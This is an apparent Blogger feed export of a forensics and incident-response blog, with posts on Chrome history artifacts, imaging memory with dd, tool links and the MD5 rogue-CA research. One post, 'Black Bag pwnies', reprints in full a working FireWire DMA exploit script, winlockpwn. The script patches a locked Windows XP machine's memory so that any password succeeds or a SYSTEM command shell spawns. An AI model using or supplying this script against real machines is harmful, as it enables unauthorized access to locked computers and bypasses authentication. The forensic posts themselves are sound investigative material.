tag:blogger.com,1999:blog-58086315312572929802024-03-05T04:03:24.801+00:00Computer Forensics and Incident ResponseBillhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.comBlogger39125tag:blogger.com,1999:blog-5808631531257292980.post-21584441687827720752009-02-21T04:03:00.000+00:002009-02-21T04:04:05.478+00:00Unpack Javascript<a href="http://jsunpack.jeek.org/dec/go">http://jsunpack.jeek.org/dec/go</a>\\<br /><br />I haven't mentioned my disdain for all things Java. There it is.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-62782912593147266142009-02-21T03:17:00.002+00:002009-02-21T03:19:39.157+00:00Tool to list windows protected filesNot tested, but interesting nevertheless: <a href="http://nagareshwar.securityxploded.com/2009/02/21/sfclist-windows-protected-files-listing-tool/">SFCList by Nagareshwar Talekar</a><br /><br />From his blog post: <span style="font-style:italic;">After I wrote about ‘Detecting System DLL’ some of my friends working on malware analysis asked for any tool which can show if the particular file is protected by SFC mechanism. I could not find any such tool and decided to write my own tool. . .</span>Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com1tag:blogger.com,1999:blog-5808631531257292980.post-90340771259798781012009-01-18T18:42:00.002+00:002009-01-18T18:53:26.085+00:00VanityI was doing a vanity search today on this page and <a href="http://www.google.com/search?q=http%3A%2F%2Fbreach-inv.blogspot.com%2F2007%2F05%2Fdefeating-whole-.+disk-encryption-part-1.+html.+[&ie=utf-8&oe=utf-8&aq=t&rls=com.ubuntu:en-US:unofficial&client=firefox-a">found</a> that my post <a href="http://breach-inv.blogspot.com/2007/05/defeating-whole-disk-encryption-part-1.html">"Defeating" whole disk encryption</a> was cited in: <br /><br /><a href="http://doi.ieeecomputersociety.org/10.1109/ARES.2008.109">Christopher Hargreaves, Howard Chivers, "Recovery of Encryption Keys from Memory Using a Linear Scan," ares,pp.1369-1376, 2008 Third International Conference on Availability, Reliability and Security, 2008</a><br /><br />I haven't read the article, but the abstract sounds enticing:<br /><br /><span style="font-style:italic;">As encrypted containers are encountered more frequently the need for live imaging is likely to increase. However, an acquired live image of an open encrypted file system cannot later be verified against any original evidence, since when the power is removed the decrypted contents are no longer accessible. This paper shows that if a memory image is also obtained at the same time as the live container image, by the design of on-the-fly encryption, decryption keys can be recovered from the memory dump. These keys can then be used offline to gain access to the encrypted container file, facilitating standard, repeatable, forensic file system analysis. The recovery method uses a linear scan of memory to generate trial keys from all possible memory positions to decrypt the container. The effectiveness of this approach is demonstrated by recovering TrueCrypt decryption keys from a memory dump of a Windows XP system.</span><br /><br />Academic respectability. Woot!Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-9661985311245906642008-12-30T14:55:00.003+00:002008-12-30T15:04:02.396+00:00Tubes Clogged, Internets are Broken IIand just to claify, this means that Certificate Authorities using MD5 are broken. Browsers implicitly trust certificates, and to quote:<br /><br /><a href="http://www.phreedom.org/research/rogue-ca/">This ... shows that the certificate validation performed by browsers can be subverted and malicious attackers might be able to monitor or tamper with data sent to secure websites. Banking and e-commerce sites are particularly at risk because of the high value of the information secured with HTTPS on those sites. With a rogue CA certificate, attackers would be able to execute practically undetectable phishing attacks against such sites.</a><br /><br />My guess is that this attack will be implemented in the wild in the very near future. . .Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-65313846819945900132008-12-30T14:34:00.004+00:002008-12-30T14:54:31.199+00:00Tubes Clogged, Internets are Broken<a href="https://i.broke.the.internet.and.all.i.got.was.this.t-shirt.phreedom.org/">The Internets are broken!</a><br /><br />Set your system date to August 2004 before visiting the site.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5BQQKd7B4ALaCefx6pfPYMnVBtXmN7hPuLGuaLqlKG_wYF43Il-XHCu30fnGeFq13e-Yq-2A6fN3f_j_M9jdtAkvBOZI81aUu4qACIf0pJJFbXl4n9DuvICbwnmbxldLXQ6ukbLD2AfWD/s1600-h/1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5BQQKd7B4ALaCefx6pfPYMnVBtXmN7hPuLGuaLqlKG_wYF43Il-XHCu30fnGeFq13e-Yq-2A6fN3f_j_M9jdtAkvBOZI81aUu4qACIf0pJJFbXl4n9DuvICbwnmbxldLXQ6ukbLD2AfWD/s400/1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5285594466720125474" /></a><br /><br />More <a href="http://phreedom.org/">here</a> and <a href="http://phreedom.org/research/rogue-ca/">here</a>.<br /><br />Alexander Sotirov et. al. did some really interesting research on creating a fake CA using 300 playstations - Fear!Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-42774319226719305912008-09-04T01:47:00.003+00:002008-09-04T01:51:58.057+00:00More fun with ChromeThe <a href="http://sunbeltblog.blogspot.com/2008/09/some-more-chrome-fun.html">Sunbelt Blog</a> has a link <a href="http://www.haloscan.com/comments/alexeck/5367224717468564103/#414501">here</a> that will force Chrome to crash.<br /><br />Or you can enter crash:% into your browser and do it yourself.<br /><br />Good times.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-89978659157828862632008-09-04T00:23:00.005+00:002008-09-04T01:34:27.252+00:00Google's Chrome Browsing History, a first passThis will be a short post. I'm sleep deprived and traveling. . . <br /><br />Google Chrome debuted yesterday. So sometime this week, someone somewhere will have to do some analysis on Chrome's browser artifacts. Until someone writes a script/program to extract user history, here's one way to get some information:<br /><br />Chrome saves its data files in C:\Documents and Settings\[user]\Local Settings\Application Data\Google\Chrome\User Data\Default<br /><br /><br />The following files store data in SQLite format 3:<br />Archived History <br />Cookies <br />History <br />Thumbnails <br />Web Data<br /><br />To examine those data archived in SQLite format 3, you can run strings against the files. I found sqlite3explorer <a href="http://www.singular.gr/sqlite/">here</a>. This does a fairly decent job of rendering the data.*<br /><br /><br />IF we open the "history" file and go to main > tables > urls and right click on<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8rG_dyJFODrflY4TNtyD-sPIRzc0yPYnlsnh6-4LXwOcaxC3Op1D8UJww7hvps2EU3_ZCstp_VfMGPa_kBTLDFsoPf6RXThaGuXWsavGT6MHKlMDCGqs1MsqEXEYJCT0V2k03ZDNSQVG1/s1600-h/sql1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8rG_dyJFODrflY4TNtyD-sPIRzc0yPYnlsnh6-4LXwOcaxC3Op1D8UJww7hvps2EU3_ZCstp_VfMGPa_kBTLDFsoPf6RXThaGuXWsavGT6MHKlMDCGqs1MsqEXEYJCT0V2k03ZDNSQVG1/s400/sql1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5241971643698319586" /></a><br /><br />urls, we can click "show data" and the bottom right windows will populate with the data in the urls colunm.<br /><br />It is important to note that Chrome will import browsing history from other web browsers, so the history contained here may not have been generated by Chrome.<br /><br />Running Strings against the following files will/may reveal interesting data:<br />Last Session<br />Preferences <br />Current Session<br /><br />Visited Links has binary data. YMMV.<br /><br />* This doesn't work well on my computer unless executed by double clicking on the icon from the firefox download tab:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3RU93fncOELhDJT5kjO9b25_jGlzyAeIDKPeQrIrrPY36bWqQXzMXdMtNDsemETHNPTE_glE1RqleDNuv-qXe6Q_ObzuaSnt5Tsdt8VheaSB_qGAmXjdlRdN-Ic1mMZrAR6FY65gbogOl/s1600-h/firefoxdl.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3RU93fncOELhDJT5kjO9b25_jGlzyAeIDKPeQrIrrPY36bWqQXzMXdMtNDsemETHNPTE_glE1RqleDNuv-qXe6Q_ObzuaSnt5Tsdt8VheaSB_qGAmXjdlRdN-Ic1mMZrAR6FY65gbogOl/s400/firefoxdl.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5241969704118682482" /></a><br /><br />There are also files called:<br />History Index 2008-09 <br />History Index 2008-08 <br />(It appears that these are created daily, but this needs to be confirmed)Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com4tag:blogger.com,1999:blog-5808631531257292980.post-54020362951965123632008-08-23T16:51:00.003+00:002008-08-23T16:55:20.836+00:00Pre-boot authentication bypass techniques.Jonathan Brousard gave a talk at DefCon 16 that has not gotten much press, but his research has some interesting forensic implications. You can read the white paper at <a href="http://www.ivizsecurity.com/pdf/preboot_whitepaper.pdf">http://www.ivizsecurity.com/pdf/preboot_whitepaper.pdf</a>. <br /><br />There's a tool set available from the same site.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-19073052432380620032008-06-20T15:58:00.003+00:002008-08-23T16:47:50.123+00:00/dev/mem for Windows, and other bits of memory goodness.Can "good old cgywin dd" and dcfldd access \.\\Device\PhysicalMemory? It appears that they can.<br /><br />I was reading posts by Harlan Carvey and Andreas Schuster about new tools for imaging the Physical Memory in Windows this week. Some interesting stuff there. Then I stumbled across <a href="http://www.forensicmag.com/articles.asp?pid=179">an article</a> in <a href="http://www.forensicmag.com">Forensic Magazine</a> by Kevin Mandia and Kris Harms, which said in part that \device\PhysicalMemory could be imaged with DCFLDD. I tried the string in the article:<br />DCFLDD if=\\.\PhysicalMemory of=AnyExternalDevice conv=sync,noerror and I got a big handful of fail for my efforts.<br /><br />I assumed that someone else had tried this and a little googling turned up this string at forensic focus, as well as a post by on with <a href="http://windowsir.blogspot.com">Windows Incident Response</a> blog that mentioned it (how did I miss that post and why can't I find it now?).<br /><br />I used the /dev/mem substitution for dcfldd on an XP SP2 box and it seemed to work. <br /><br />So what I'd learned so far:<br /><br />1. The Mandia article has incorrect syntax.<br />2. You can use dcfldd to image something from /dev/mem.<br /><br />It didn't seem like anyone had figured out what dcfldd was imaging though.<br /><br />My next thought was, "If dcfldd can image the mysterious /dev/mem, could good old cygwin can access it?" It appears that it can.<br /><br />According to these posts on the cgywin developer's list, the cygwin grabs \device\PhysicalMemory using cygwin's /dev/mem, in a manner consistent with *nix systems.<br /><br />I decided to conduct a quick experiment on each. I acquired a sample of physical memory from a XP pro SP2 box:<br /><br /><br />06/20/2008 09:21 AM 1,064,648,704 dd.img<br />06/20/2008 09:17 AM 1,064,685,568 win32.dump<br />06/27/2008 11:49 AM 1,064,685,568 mdd.img<br />06/20/2008 09:09 AM 1,064,697,856 dcfldd.img<br /><br />The same command was used for both dcfldd and dd ((DCFL)DD if=/dev/mem of=.\outfile.img conv=sync,noerror<br /><br />Nothing earth shattering here, but note the file sizes.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com2tag:blogger.com,1999:blog-5808631531257292980.post-72389717113583456322008-05-01T21:45:00.004+00:002008-05-08T05:33:45.109+00:00P2P MarshallWhile researching something unrelated, I tripped across <a href="http://p2pmarshal.atc-nycorp.com/">P2P Marshal</a>. Since I have not been able to get to any sort of training short of paying my own way, I did not make it to the DFRWS07 - at any rate, the tool's been out and it's free to LE.<br /><br />From the website:<br /><br />P2P Marshal is a tool to analyze peer-to-peer (P2P) usage on file system images. It automatically detects what P2P client programs are, or were, present, extracts configuration and log information, and shows the investigator the shared (uploaded and downloaded) files.<br /><br />P2P Marshal follows forensic best practices and maintains a detailed log file of all activities it performs. It is designed to be easily extensible to support new P2P clients and networks. It has extensive search capabilities, produces reports in RTF, PDF, and HTML formats and runs on Windows-based operating systems.<br />Features <br /><br /> * Analyzes peer-to-peer network usage<br /> * NIJ-sponsored project<br /> * Extensible<br /> * Forensically sound<br /> * Version 1.0 available free to law enforcement<br /> * Provides full analysis for: BitTorrent, LimeWire, uTorrent, and Azereus<br /> * Detects and shows default download locations for Ares, Google Hello, and Kazaa<br /> * Future versions will include additional client support and capabilities<br /><br />Requirements<br /><br /> * Microsoft Windows XP or Vista Operating System<br /> * 120M disk space free<br /><br />I don't think I'll have the time to use this any time soon, but if someone else does, I would be interested to know about it.<br /><br />There's also a mention in the <a href="http://www.forensicswiki.org/index.php?title=P2PMarshal">ForensicsWiki</a> about it.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-34729026058721959202008-04-22T22:50:00.003+00:002008-12-11T18:56:58.230+00:00Note to marketing: If you want to sell to cops. . .<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEBU6-Xk1VIJ9sgcHg83cD8axJJhbzzl8MqmKTZFWrm91LvEoQJcuyvmarNk_G8rriauNmw0kw4jSiwGgJwF1t2h88ciXbFs4-WawjCCiT-jUr7q01BNY8Sf_L3PPDpzK9ggXrEkhxp4QL/s1600-h/header.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEBU6-Xk1VIJ9sgcHg83cD8axJJhbzzl8MqmKTZFWrm91LvEoQJcuyvmarNk_G8rriauNmw0kw4jSiwGgJwF1t2h88ciXbFs4-WawjCCiT-jUr7q01BNY8Sf_L3PPDpzK9ggXrEkhxp4QL/s400/header.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5192275512698052850" /></a><br />don't use toy handcuffs in your marketing.<br /><br />Talk about "push-button forensics" marketing.<br /><br />Not impressive. I'd also note that the vendor claimed to have ~900 phones that it could image, but their website showed a little over 410. Hmmm.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-18242701365984831402008-04-22T21:54:00.004+00:002008-04-22T22:50:20.081+00:00Vista may be vulnerable to a local password bypass via firewire.<a href="http://www.sec-consult.com/fileadmin/Whitepapers/Vista_Physical_Attacks.pdf">Vista vulnerable to firewire hack</a> (via <a href="http://djtechnocrat.blogspot.com/2008/03/whitepaper-firewire-hack-on-windows.html">Thoughts of a Technocrat</a>)<br /><br />I've been to busy to play with these attacks, but it's on my to do list.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-11755431770542951172008-03-08T21:38:00.000+00:002008-03-05T04:22:41.218+00:00Digging Deeper during analysisThis post has been on my mind for some time (I'm cleaning up draft posts), but it does not look like I am going to get to it any time soon. So this is going to be quick and dirty.<br /><br />I was doing forensic on an intrusion last year and I knew the following:<br /><br />The computer was compromised and talking to the outside world via DNS.<br /><br />I had a DD image of the RAM, and dumps of process memory from each of the processes (as well as a lot of other volatile data).<br /><br />Unfortunately, I did not have any way to know which (or if any) of the processes were the bad guy's, so my process of elimination went like this:<br /><br />1. Look at the process list.<br />2. Find associated executables.<br />3. Look at executable files.<br /><br />Unfortunately, this server was running a lot of "stuff." So I was still left with a lot of files to look at, but after much work, I found a file that looked weird enough to make me think that it was likely tbe bad process. (Oh, and I should point out that there were no logs and the intrusion (we later determined) was months old.) <br /><br />So how does one go about figuring out what happened when there's an lack of log data? Well, it turns out that when I analyzed the files by date created, and I find a memory.dmp file.<br /><br />So I spend a bit of time <a href="http://www.dumpanalysis.org/blog/index.php/2007/09/14/crash-dump-analysis-patterns-part-27/">researching </a>the memory dump file format and I was able to find the file that the attacker used (it caused some nastiness at the time it was executed) which in turn led me to find some other information about the attack in unallocated space.<br /><br />This was kind of long, but <a href="http://translate.google.com/translate?hl=en&sl=pt&u=http://forcomp.blogspot.com/&sa=X&oi=translate&resnum=1&ct=result&prev=/search%3Fq%3Dhttp://forcomp.blogspot.com/%26num%3D100%26hl%3Den%26newwindow%3D1%26client%3Dfirefox-a%26rls%3Dorg.mozilla:en-US:official%26hs%3DaBQ">if you aren't looking beyond what you can see</a> (<a href="http://forcomp.blogspot.com/2007/12/spybot.html">untranslated blog here</a>) in the file system, you are missing a lot of good information.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-49154890177783728142008-03-05T01:36:00.004+00:002008-03-05T02:23:08.614+00:00Black Bag pwnies<a href="http://breach-inv.blogspot.com/2007/05/defeating-whole-disk-encryption-part-1.html">I've blogged before</a> about Adam (Metlstorm) Boileau's python script that can be used to extract bios/pgp passwords. This week, he released the script that he designed that allows a Linux box to overwrite the windows log-on password in memory. . . cool stuff if you need physical access to a box. <br /><br />I have not tested this yet, but it looks good. . . Now I know what I'll be playing with at work tomorrow.<br /><br />Preemptive comments: <br />"But you're changing the evidence." <br /> "But you're modifying the RAM"<br /> "But you've got physical access to the box, you could _______."<br /> "But if someone doesn't have XP SP2 you are out of luck."<br /> "Nobody's done this on Vista."<br /> <br /><br />The code's below because <a href="http://storm.net.nz/projects/16">his blog</a> has been slashdotted - Blogger left justifies everything so you are going to have to fix the spacing if you use the code below.<br /><br />#!/usr/bin/python<br /># Windows locked screen remote firewire unlockor<br /># Metlstorm 2k6<br /># Uh, private use only, not for public distro, kthx.<br /><br />import sys<br />import firewire<br />import binascii<br />import time<br /><br />VER=1.5<br />VERSTR="Winlockpwn v%s Metlstorm, 2k6. <metlstorm@storm.net.nz>" % VER<br /><br /># Targets are dicts, with some properties, and one or more phases<br /># each phase specifies a signature which can be found at one or more<br /># page offsets. When a signature is found the patch is applied at patchoffset<br /># bytes from the beginning of the signature. <br /><br />targets=[{<br /> "name":"WinXP SP2 Fast User Switching Unlock",<br /> "notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",<br /> "phase":[{<br /> "sig":"8BD8F7DB1ADBFEC3",<br /> "pageoffset":[2905],<br /> "patch":"bb01000000eb0990",<br /> "patchoffset":0}]<br /> },<br /> {"name":"WinXP SP2 Unlock",<br /> "notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",<br /> "phase":[{<br /> "sig":"0502000010",<br /> "pageoffset":[3696],<br /> "patch":"b801000000",<br /> "patchoffset":0}]<br /> },<br /> {"name":"WinXP SP2 msv1_0.dll technique",<br /> "notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.",<br /> "phase":[{<br /> "sig":"8BFF558BEC83EC50A1",<br /> "pageoffset":[0x927],<br /> "patch":"B001",<br /> "patchoffset":0xa5}]<br /> },<br /> {"name":"WinXP SP2 utilman cmd spawn",<br /> "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.",<br /> "phase":[<br /> {"name":"Patch code",<br /> "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",<br /> "pageoffset":[0x39f],<br /> "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",<br /> "patchoffset":0x0},<br /> {"name":"Patch data",<br /> "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",<br /> "pageoffset":[0x9ac, 0x5ac, 0x3ac],<br /> "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",<br /> "patchoffset":0x0,<br /> "keepgoing":True,<br /> }<br /> ]<br /> }<br /> ]<br /><br /><br />start = 0x8000000L<br />end = 0xffffffffL<br />chunk = 4096 <br /><br />print VERSTR<br /><br />def printTargets(targets):<br /> i = 1<br /> print " Available Targets:"<br /> for t in targets:<br /> print " %2d: %s" % (i, t["name"])<br /> i+=1<br /> print "\nTarget Notes:\n" <br /> for t in targets:<br /> print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])<br /> <br />def usage():<br /> print "Usage: winlockpwn port node target [start-end]"<br /> print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers."<br /> print " - Target should be one of the numbered targets listed below."<br /> print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff."<br /> print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n"<br /> printTargets(targets)<br /> sys.exit(1)<br /><br />if len(sys.argv) < 4:<br /> usage()<br /><br />try:<br /> port = int(sys.argv[1])<br /> node = int(sys.argv[2])<br /> targetno = int(sys.argv[3])<br /> if len(sys.argv) > 4:<br /> start,end = firewire.parseRange(sys.argv[4])<br /> if end == None:<br /> end = 0xffffffffL<br />except ValueError:<br /> usage()<br /><br />if targetno < 1 or targetno > len(targets):<br /> usage()<br /><br />target = targets[targetno -1]<br /><br />print "Target Selection:"<br />print " Name : %s" % target["name"]<br />print " Notes : %s" % target["notes"]<br />for p in target["phase"]:<br /> if p.has_key("name"):<br /> print "Phase: %s" % p["name"]<br /> print " Pattern: 0x%s" % p["sig"]<br /> print " Offset : %s" % p["pageoffset"]<br /> print " Patch : 0x%s" % p["patch"]<br /> print " Offset : %d" % p["patchoffset"]<br />print "Scanning Options:"<br />print " Start : 0x%x" % start<br />print " Stop : 0x%x" % end<br />print " Pagesz : %d" % chunk<br /><br />for so in p["pageoffset"]:<br /> if len(p["sig"]) + so > chunk:<br /> print "Uh oh, signature crosses page boundary. This isn't supported :("<br /> sys.exit(1)<br /> if so + p["patchoffset"] > chunk:<br /> print "Uh oh, patch offset crosses page boundary. This isn't supported :("<br /> sys.exix(1)<br /><br /><br /><br />print "Init firwire, port %d node %d" % (port, node)<br />h = firewire.Host()<br />n = h[port][node]<br /><br />print "Snarfin' memories..."<br />sys.stdout.flush()<br /><br />dumppage = False<br />won = False<br /><br />startt = time.time()<br />last = 0<br />for p in target["phase"]:<br /> try:<br /> print "Phase: %s" % p["name"]<br /> except KeyError:<br /> pass<br /> signatureoffset=p["pageoffset"]<br /> eviloffset = p["patchoffset"]<br /> payload = binascii.unhexlify(p["patch"])<br /> pattern = binascii.unhexlify(p["sig"]) <br /> eviladdr = None<br /> for offset in range(start, end, chunk):<br /> now = time.time()<br /> if now > (last + 1):<br /> last = now<br /> print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),<br /> sys.stdout.flush()<br /><br /> for so in signatureoffset:<br /> mem = n.read(offset + so , len(pattern))<br /> if mem == pattern:<br /> print "Found signature at 0x%08x" % (offset + so)<br /> eviladdr = offset + so + p["patchoffset"]<br /> if dumppage:<br /> fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")<br /> fo.write(n.read(offset, chunk))<br /> fo.close()<br /> break<br /> if eviladdr != None:<br /> won = True<br /> print "Setting up teh bomb...",<br /> n.write(eviladdr, payload) <br /> print "Donezor!"<br /> verify=n.read(eviladdr, len(payload))<br /> print "Verified evil: 0x%s" % (binascii.hexlify(verify))<br /> if dumppage:<br /> fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")<br /> fo.write(n.read(offset, chunk))<br /> fo.close()<br /> if p.has_key("keepgoing") and p["keepgoing"]:<br /> eviladdr = None<br /> else:<br /> break<br /><br /><br />if won:<br /> print "You may proceed with your nefarious plans"<br />else:<br /> print "\nOh noes, you didn't win"<br />endt = time.time()<br />print "Elapsed time %d seconds" % (endt - startt)Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-6126771814687462762008-02-24T15:32:00.003+00:002008-02-28T05:19:41.137+00:00Two ways to get around passwords - WindowsLance Muller has a really good post on ways to log on to a windows box without a password:<br /><br /><i>I discovered two additional ways to get around passwords when the passwords are either too difficult for rainbow tables or when there is only a LM password and a brute-force attack will take too long. The techniques I am going to describe will not recover the password. It will merely let you login to the system with a specific user account. Getting access to the system using these techniques will not let you access any files that are protected via EFS in Windows XP or Vista since the password is used as part of the encryption/decryption process.</i><br /><a href="http://www.forensickb.com/2008/02/bypassing-windows-login-password-in.html"><br />Lance's blog can be found here.</a>Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-27251813043267476612008-02-05T14:27:00.000+00:002008-02-05T15:00:38.182+00:00Interesting tool - pdump.exeToni at Teamfurry.com has a new tool that has some interesting functionality, it dumps process memory, but it also saves each allocated memory region to a separate file.<br /><br />I've played with it a little bit and it seems like it has potential.<br /><br />You can read the post and download the file<a href="http://www.teamfurry.com/wordpress/2007/11/16/tool-release-pdump-a-process-memory-dumper/"> here.</a>Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-33624690373952801502007-12-24T00:53:00.001+00:002007-12-24T01:33:10.589+00:00Blog, not deadI have had some personal issues that have been intruding on my blogtime. Namely, I'm moving across the country. A couple of years ago, an agency that I don't work for started recruiting me, their recruiting ploy; going back home and doing the same job. Devious. <br /><br />Long story short, I got an offer from said agency, told my present employer about the job and my agency offered to transfer me. I accepted.<br /><br />The end result is I've been spending a lot of time arranging for the move. . .<br /><br />Now a few random thoughts:<br /><br />1. I was really saddened that Harlan Carvey decided to do away with the WindowsForensicAnalysis group on Yahoo!. I've thought about re-starting the group, but then I'm not sure that I have the time to do the moderation.<br /><br />2. I do a lot of work with drives that have been encrypted with Pointsec. I've played around with the idea of breaking the encryption, and have done some initial research into the matter. Is there anyone out there who has looked into this, or is interested in collaboration? If you have/are, email me at <span style="font-weight:bold;">bill</span> (random gunk here <span style="font-weight:bold;">@</span> .. wsxcvhuio) <span style="font-weight:bold;">r i n g 3 . n e t</span>.<br /><br />3. The US. Gov's idea of of <a href="http://www.whitehouse.gov/omb/memoranda/fy2008/m08-05.pdf">having 50 points that connect to the internet</a> is a good concept, but I'm close to reaching the conclusion that the defense of USG's national assets is best left to the Department of Defense (they're the only ones who seem to do an even half-assed job of protecting their infrastructure). Further, do we really want 50 points that are FOIA'able for all to know about? Do Americans really want everyone to know that the FBI/NSA/CIA is crawling their site? There are some who argue that this is not necessarily going to be the effect of this memo, but remember, bureaucrats will strictly "the letter of the law." The upside is, of course, that if this is properly implemented, the Gov's security will be better. I'm skeptical that this will be the case, however.<br /><br />4. A holiday spent away from your family is not a good holiday.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com2tag:blogger.com,1999:blog-5808631531257292980.post-52669096637385125522007-11-16T23:10:00.001+00:002007-11-16T23:21:34.034+00:00Comment spam =+ moderationIt has been a busy couple of months... more to come soon.Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com1tag:blogger.com,1999:blog-5808631531257292980.post-44647313773460596862007-10-31T02:32:00.000+00:002007-10-31T02:43:34.626+00:00In keeping with the Internet security themeThis was originally posted at <a href="http://getahead.org/blog/joe/">http://getahead.org/blog/joe/</a>. It's a really good graphic presentation on Web-application problems. <br /><br />Via <a href="http://www.gnucitizen.org/">gnucitizen.org</a>:<br /><br /><div style="width:425px;text-align:left" id="__ss_147905"><object style="margin:0px" height="355" width="425"><param name="movie" value="http://s3.amazonaws.com/slideshare/ssplayer2.swf?doc=web-app-security-1193579768112939-1"/><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://s3.amazonaws.com/slideshare/ssplayer2.swf?doc=web-app-security-1193579768112939-1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object><div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"><a href="http://www.slideshare.net/?src=embed"><img src="http://s3.amazonaws.com/slideshare/logo_embd.png" style="border:0px none;margin-top:-5px" alt="SlideShare"/></a> | <a href="http://slideshare.net/joewalker/web-app-security" title="View this slideshow on SlideShare">View</a> | <a href="http://www.slideshare.net/upload">Upload your own</a></div></div>Billhttp://www.blogger.com/profile/15956125660689343228noreply@blogger.com0tag:blogger.com,1999:blog-5808631531257292980.post-16753056991056413292007-10-28T22:35:00.000+00:002008-12-11T18:56:58.473+00:00The final solutionInternet Security:<br /><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-yksPu4Slk1bSSACpsB4QJZlw9-Kzr_BD_hjCyjk3JXLQzPemIHisF3I1Gg17D1LpWLhE_kxK7he2a71qSHmSR1ZDzi4ri2_9s4jw29IWkf7k8psTYa4SryoN2F5t3UVV0ax7bofPjJRF/s1600-h/internetSecurity.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-yksPu4Slk1bSSACpsB4QJZlw9-Kzr_BD_hjCyjk3JXLQzPemIHisF3I1Gg17D1LpWLhE_kxK7he2a71qSHmSR1ZDzi4ri2_9s4jw29IWkf7k8psTYa4SryoN2F5t3UVV0ax7bofPjJRF/s400/internetSecurity.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5126520458642414306" /></a><br /><br />With apologies to <a 